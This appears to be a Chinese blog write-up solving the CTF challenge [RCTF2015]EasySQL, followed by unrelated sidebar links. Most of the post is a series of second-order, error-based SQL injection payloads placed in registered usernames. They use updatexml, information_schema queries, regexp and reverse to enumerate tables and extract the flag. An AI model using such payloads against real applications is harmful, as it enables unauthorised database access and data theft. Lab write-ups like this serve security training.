当前位置:网站首页>[RCTF2015]EasySQL
[RCTF2015]EasySQL
2022-07-26 15:58:00 【白塔河冲浪手】
进入环境,有一个注册和登录功能

先随便注册一个账户

登录

随便点一个发现url可能存在注入

试了发现不行
去登录注册看看能不能注入

也不行,可能是二次注入,去重新注册一下

发现在改密码的地方会报错

有报错了,我们使用报错注入
重新注册用户
sjm"||updatexml(1,concat(0x7e,database(),1),1)#
改密码123为1234
报错得到数据库

再重新注册爆数据表
sjm"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1)#

爆flag表
sjm"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1)#

爆字段
sjm"||updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag))),1)#

假flag去users表看看
sjm"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1)#

爆real_flag_1s_her字段
sjm"||updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_her))from(users))),1)#

显示没有这个字段,应该是前面没有把字段名字显示完全,用正则匹配
sjm"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1)#
再爆
sjm"||updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users))),1)#

flag应该在后面用正则匹配
sjm"||updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1)#
使用reverse函数翻转字符串
sjm"||updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1)#
反过来就是89-9b7f-46d3-acd4-732afd1243b7}
拼接起来
flag{4c0fe589-9b7f-46d3-acd4-732afd1243b7}
边栏推荐
- PAT甲级 1050 String Subtraction
- parker泵PV140R1K1T1PMMC
- 德国emg电动执行器EB800-60II
- 基于SSM实现个性化健康饮食推荐系统
- 德国EMG易安基推动器ED301/6 HS
- German EMG e-anji thruster ed301/6 HS
- 阿里云DMS MySQL云数据库建表报错,求解!!
- Implementation of SAP ABAP daemon
- 基于NoCode构建简历编辑器
- Basic specification of component development, localstorage and sessionstorage, object data to basic value, prototype chain use
猜你喜欢

PS + PL heterogeneous multicore case development manual for Ti C6000 tms320c6678 DSP + zynq-7045 (4)

2022你的安全感是什么?沃尔沃年中问道

API 版本控制【 Eolink 翻译】

Google Earth engine - merra-2 m2t1nxlv: 1980 present global pressure, temperature, wind and other data sets

基于SSM开发实现校园疫情防控管理系统

Google Earth Engine——MERRA-2 M2T1NXAER:1980-2022年气溶胶逐日数据集

【ARM学习(9) arm 编译器了解学习(armcc/armclang)】

hawe螺旋插装式单向阀RK4

Refuse noise, the entry journey of earphone Xiaobai

2022年最新西藏建筑施工架子工(建筑特种作业)模拟考试试题及答案
随机推荐
Development and implementation of campus epidemic prevention and control management system based on SSM
kalibr标定realsenseD435i --多相机标定
Tutorial (7.0) 05. Issue forticlient * forticlient EMS * Fortinet network security expert NSE 5 through forticlient EMS
13 years of senior developers share a year of learning rust experience: from the necessary bibliography to code practice
马斯克被曝绿了谷歌创始人:导致挚友二婚破裂,曾下跪求原谅
TKE集群节点max-pod是如何配置的
.net get injection object manually
Octree establishes map and realizes path planning and navigation
2022 what is your sense of security? Volvo asked in the middle of the year
ES6 advanced - query commodity cases
【物理模拟】超简单的shape matching模拟刚体运动
大型仿人机器人整机构型研究与应用
Paper:《All Models are Wrong, but Many are Useful: 所有模型都是错误的,但许多模型都是有用的:通过同时研究一整类预测模型来了解变量的重要性》翻译与解读
【ARM学习(9) arm 编译器了解学习(armcc/armclang)】
This article explains in detail the discovery and processing of bigkey and hotkey in redis
八叉树建立地图并实现路径规划导航
2022年最新北京建筑安全员模拟题库及答案
PAT甲级 1047 Student List for Course
.NET 手动获取注入对象
Google Earth Engine——MERRA-2 M2T1NXSLV:1980-至今全球压力、温度、风等数据集